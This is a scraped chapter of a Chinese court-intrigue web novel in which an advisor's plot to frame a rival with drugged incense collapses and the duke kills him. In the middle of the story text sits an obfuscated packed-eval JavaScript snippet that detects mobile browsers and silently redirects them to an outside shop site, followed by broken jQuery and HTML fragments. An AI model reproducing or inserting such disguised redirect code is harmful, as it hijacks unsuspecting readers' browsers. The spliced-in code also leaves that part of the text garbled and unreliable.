文趣网 > 都市小说 > 我家幕僚茶里茶气 > 10. 赢家
    “狗屁不通!”宋承岳抓起桌上的茶壶扔出去,怒道:“一群废物东西,看看你们,像个什么样子。”

    江叙白立马闭上嘴,低下头。张立却完全乱了节奏,接着继续:“国公爷说得对,这小子就是在强词夺理。什么香料能辨别男女,都是无稽之谈。他无非就是心虚,故意扯远话题。不如去请大夫,对他身上所用香的成分细细查明。”

    “若是查出来没问题呢?你是卸官赔罪吗?”宋承岳内心还没有到想放弃张立的程度,只是不知道张立怎么突然变得这么蠢,有意最后再放过一次。

    “不可能没问题。”江叙白那副样子,一定中了他下在袖子上的迷.药,大夫过来检测香料一定能看出来,只需要一口咬死是他调制的香料有问题就行。张立稳了稳心神,宋承岳最恨下面的人对他不衷,有小动作,不管真不真,只要有了嫌隙,定不会再用他。“国公爷若是怕下官提前买通了大夫,大可以自己去找信得过的大夫。况且,下官这里的香料是从江叙白房中找到的,幕僚院的许多幕僚都看见了,可以作证。”

    宋承宪由原来的勃然大怒已经转为无可奈何,他坐在椅子上目光射向张立,他需要重新审视一下自己养了这么多年的“第一幕僚”了。

    张立被他这么一看,后背冷汗瞬间浸透衣服,他默默捏紧小厮扶住他的胳膊,才没有让自己瘫倒下去。

    整个院子内无人出声,碧霞偷偷挑开一只眼偷瞄,刚好和目光游离的宋令仪对上了视线。碧霞被吓得慌忙要重新闭上眼,却见宋令仪眼中含笑,挑了眉头,嘴巴一张一合说了什么。碧霞还没辨认出来说的是什么,宋承岳突然低声哼了一声,她立刻闭紧双眼,生怕晚一秒脑袋就落了地。

    “江叙白,平时你最是牙尖嘴利,现在怎么安静了。”

    “回国公爷,小人只是在思考一个问题。”

    “你当然要思考了,你一定在心里想了八百个理由怎么度过这一关。”张立堵住他的话,“国公爷,他的嘴我们都见识过,在皇上面前都能面不改色乱说一通。出自他口中的话,十之八九都是假的。”

    “我还以为张大人准备的多么充分呢,竟然怕小人开口。那小人便如了大人的愿,我不开口,找个大人熟悉的代我开口如何?”

    “三小姐一向袒护你,她与你有何区别,不可。”

    江叙白朝宋令仪投了目光,软了几分音调:“三小姐,张大人都这么说了,你可要好好护着小人,毕竟小人只有你了。”

    “那是自然。”

    宋承岳一拍桌子:“令仪,坐过来。今夜的事由我决断,你不可插手。”

    宋令仪耸耸肩,大步来到宋承岳旁,双手抱胸坐了下去,眼神示意身后跟着的夏荷给自己倒水。夏荷会意,端起茶壶倒了一杯,“夏荷,被吓傻了吗?这杯子不干不净的,也不晓得冲一冲。”说罢,接过茶杯朝外洒了出去,茶水四溅。因为张立身份比江叙白高,他所处的位置更靠近门,不偏不倚浇在他脚边,甚至还有几滴溅上脸。不管是碍于宋承岳在这里,还是碍于宋令仪会武,他都忍下脾气,不敢发作。

    “哎呦,张大人有点碍事啊。你不会往边上去去,我的水都没处洒。”

    “下官挪一挪。”张立先看向宋承岳,他依旧那副表情,没有责怪宋令仪的意思,只能咬牙切齿地挪开一点,顺便还白了一眼江叙白。

    江叙白也不屑地白眼回去。

    碧霞又偷偷睁眼瞧一瞧,明明她扒着门框离得更近,按理来说应该喷到她身上,身上却一滴也没溅上。她抬眼瞄向宋令仪,宋令仪正指挥丫鬟给自己重新倒一杯水,神态自若,半分不见慌张。碧霞开始在心中回忆刚刚宋令仪的嘴型,她一点点回忆,嘴巴跟着一点点模仿。

    “说该说的,我保你活。”

    溺水之人终于抓住岸边的朽木,那是生的希望,她松开扒门的双手,暗自挺了挺腰背。她知道这是最后一次机会,默默在心中酝酿话术和静待时机。

    “江叙白,你自己说,今夜令仪不许插手,你别想着她护你。”

    “国公爷,你们都误会了,小人从一开始就没想要三小姐替小人辩白。如果三小姐来开口,”江叙白与张立视线相对,彼此气氛剑拔弩张,然后他翻了很小的一个白眼,“张大人也不用站在这里了,早早回去脱了官袍才是正事。”

    “那你说的是谁?”宋承岳已经完全不生气了,今夜之事,反倒让他对江叙白有了兴趣。他有手段,有谋略,身上还有属于年轻人不自量力的嚣张,可也不是蠢蠢欲动的雄狮,更像是一条毒蛇,盯上猎物后会抓住一切时机将它吞之入腹。宋承岳抚摸自己留长的胡须,或许江叙白替代张立,是个不错的选择。

    养一条毒蛇,远比养一条只会乱吠的猎犬来的划算。

    “何鑫。”

    张立:“找他做甚。”心中莫名有点慌张,他自上次后没顾得上找他算账,两个人还没完全撕破脸。但何鑫是个切切实实的墙头草,不看交情,只看形势,他的发言只会根据最利好自己的一方。

    “有点印象。”宋承岳沉思片刻,终于在脑海中找到了这个人的大致模样。

    “听说何公子对草药多有研究,不妨请他来看看张大人手边的这些香是否有勾人心魄的效果。”

    “来人,去把何鑫叫来。”

    一个小厮领命匆匆赶往幕僚院,刚出院子就看到一大群人围在附近,猫着身子朝里面张望。小厮挤过人群要走,手却被人一把抓住:“喂!里面什么情况。现在是张大人占上风还是姓江的小子。”小厮眨巴几下眼睛,反手将这人手扣住,语气激动:“何大人,你自己去看吧,国公爷请您过去。”

    何鑫:?!

    “何鑫,你来看看这香中混杂了几味草药,有何功效。”

    何鑫颤颤巍巍应声,接下张立递过来的香,张立眼神凶狠,提醒他谨慎说话。江叙白立在一旁,笑眯眯地看着。

    “回,回国公爷,此香中含豆蔻、丁香、桂花、首乌藤、琥珀屑,都是一些常见的温润安神的草药,却偏偏多加了沉香、甘松,混在一起会致人迷了心智。”

    “所以它有勾人心魄的功效?”宋承岳又接着试探。

    “啊?”何鑫快速扫了一眼张立,扑通跪下来,“确实有。”

    “江叙白,你蓄意勾引府中千金,妄图用药物迷惑人心,如此算计国公府还当何罪!”张立松口气,心中的石头落了地,情绪激动地扯着嗓子喊:“快!将江叙白压入府中地牢!

    宋承岳抓一把胡须,没有说话。

    “张大人别急,何公子还没说完。”

    “你还想说什么?”宋承岳低头问何鑫。

    宋承岳的表现,让何鑫觉得他更偏向江叙白。他低头认真想了想,决定赌一把,咽了一口口水说:“是,小人还没说完。”

    “说!本公在这里,你大胆说。”

    “这些香能迷人心智不错,但却并不是江公子所制。”

    “伯父,你看我说什么,江公子怎么可能干出这种事呢。”

    “不是他?”宋承岳没理宋令仪,语气森然逼问何鑫。

    何鑫眼珠骨碌碌直转,宋承岳的语气不佳,他怀疑自己赌错了。奈何一只脚已经踏上了船,再退步只会葬身鱼腹。“小人因为前几日落水,染了风寒,这几日一直在幕僚院休息。白日里,小人看见张大人的心腹鬼鬼祟祟进出过院子,手里似乎还拿着东西。”

    “何鑫,你说你看到我的心腹?是谁?”

    “小人躺在床上,透过窗子看的并不真切,依稀只能看出是德六和五福的身形,但他们两人太像,小人并不能断言。”——因为他压根没看见。不用猜,江叙白不可能傻到把香堂而皇之的放在房间,只有一种可能就是张立自己放的嫁祸给他。至于谁去放,猜一猜也只能是德六和五福其中一个。其实他们一个微胖,一个精壮,若是看到了何鑫不可能分不出来。

    但他话音刚落,五福眼光忽闪,心虚地与张立对上眼神。

    五福:大人冤枉!我白天做得很隐蔽,不可能有人看见。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17698828|208059||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    何鑫立马改口:“想起来了,身材精壮一点,是五福。”

    五福想都没想跪了地,顺口溜似的冒出一大串话:“奴才今天午时去镇上给大人抓药,去的万民药馆,掌柜的还拿错一样,奴才走到半路又折返回去替换,掌柜的不在了,那伙计做事慢慢吞吞,奴才只能和他耗着,一直到晚间才回府上。”

    张立缓缓闭上了眼睛。

    江叙白神色得意:“何公子,你刚刚说你是午时看见的吗?”

    “没有。”

    碧霞估摸着时机差不多了。小心翼翼从一旁爬过来,头贴在地上,捏着嗓子开始哭,一边哭一边说:“国公爷,奴家一时被鬼迷了心窍,才想着帮张大人算计你啊!”

    “算计我?”宋承岳猛地站起来,一把从地上薅起碧霞,“抬起头给我老实说,但凡有一句谎话,你的头和脖子恐怕就要离身体而去了。”

    “奴家以性命担保,所说的句句属实。”碧霞哭得梨花带雨,“张大人今夜把奴家叫到府上,给了奴家好些金银。让奴家去爬您的床。”碧霞听了全过程,对他们的人物关系了解了大概,编起来毫不费力,“他对奴家说,自从姓江的小子来了府上,仗着自己有几分姿色时不时在三小姐耳边吹风,竟让他与国公爷存了嫌隙。所以他找奴家来,想让奴家也能在您耳边吹吹枕边风,叫江公子吃吃苦头。”

    “张立!她说的可对?”

    “国公爷,下官不认识她,更不可能与她密谋算计您。”

    “奴家有证物。”碧霞说着从身上摸出一颗珠子,“这是奴家从张府内院的玉雕上扣下来的。国公爷尽管派人去看看,张府玉雕是一对,左边的那只玉雕胸前缺了一颗宝珠,就是奴家手里这颗。”

    这是她在内院等待的时候,闲着无聊抠着玩的,没想到这个珠子一碰就掉,安了半天没安上去。她怕被发现就把珠子藏进袖子,装作若无其事。

    张立:“你没事抠那玩意干嘛?”那个玉雕就属身上的这颗珠子最便宜!

    “奴家自然是要为自己寻条活路的。”

    “国公爷,你听我解释,事情绝对不是这样的。您不能只听他们两个人的一面之词。给我点时间,我会调查。”

    “够了!”宋承岳彻底没了耐心,他对蠢货向来没有兴趣,“你在兵部待了多年,至今还是一个小小司务,本公就应该想到。”

    一听提到官职,张立已经凉透的心瞬间结上了厚厚的冻。他推开搀扶着自己的下人,一瘸一拐地爬向宋承岳:“国公爷,这么多年我为你付出了多少,为你谋划了多少事情,你不能为了姓江的小子舍弃我。我能为你做的永远比他多。”

    宋承岳一脚踹开他,张立被踢飞,滚到一边,口吐鲜血,他挣扎抬起头,抹去嘴边的血水。张立被踢到了何鑫旁边,他不动声色地往边上挪动,远离张立。张立看在眼里,冷哼一声:“何鑫,你别忘了,你是怎么进的府。”

    “没忘,但此一时彼一时。”何鑫特别小声在喉咙里嘟囔一句。

    “张立,这么多年我待你不薄。”宋承岳靠近他,蹲了下去,“你排挤幕僚,栽赃算计我都没同你计较。你知道为何今日容不下你?”

    张立悲愤欲绝,吐出喉咙卡着的血痰:“还能因为什么,江叙白给你们都灌了迷魂汤。让他留在府上,你们早晚都得被他害的下地狱!”

    江叙白眸光微沉,其余并无反应。

    宋承岳恨铁不成钢,站了起来,气得又给了他一脚。

    张立趴在地上,身上剧痛无比,头怎么也抬不起来了,嘴歪在一边,怒骂:“没有我,景和八年、景和九年那两件事能办的那么漂亮吗?宋承岳,我今天就要把你的事都……”

    江叙白和宋令仪同时转头看过去。

    宋承岳咬了咬牙,一把夺过占星的佩刀,噗嗤一声,鲜血四溅——张立在血泊中张了张嘴,再也发不出任何声音。

    何鑫被剑的寒光晃了眼,只觉脸上一热,张立的血喷洒在他脸上,他僵住了。心中只剩庆幸——赌对了。